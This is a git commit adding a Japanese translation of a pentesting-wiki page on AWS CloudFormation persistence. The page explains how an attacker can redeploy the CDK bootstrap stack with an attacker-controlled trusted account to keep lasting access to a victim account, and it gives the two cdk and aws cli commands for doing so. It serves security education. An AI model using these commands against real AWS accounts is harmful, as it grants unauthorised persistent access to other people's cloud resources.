Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:35:17 +00:00
parent bda7bba8fa
commit ebcb32b46d
4 changed files with 93 additions and 18 deletions

View File

@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
詳細情報については、次にアクセスしてください:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDKブートストラップスタック
AWS CDKは、`CDKToolkit`と呼ばれるCFNスタックをデプロイします。このスタックは、外部アカウントが被害者アカウントにCDKプロジェクトをデプロイできるようにするパラメータ`TrustedAccounts`をサポートしています。攻撃者は、AWS cliを使用してパラメータでスタックを再デプロイするか、AWS CDK cliを使用して、被害者アカウントへの無期限のアクセスを自分に付与するためにこれを悪用できます。
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}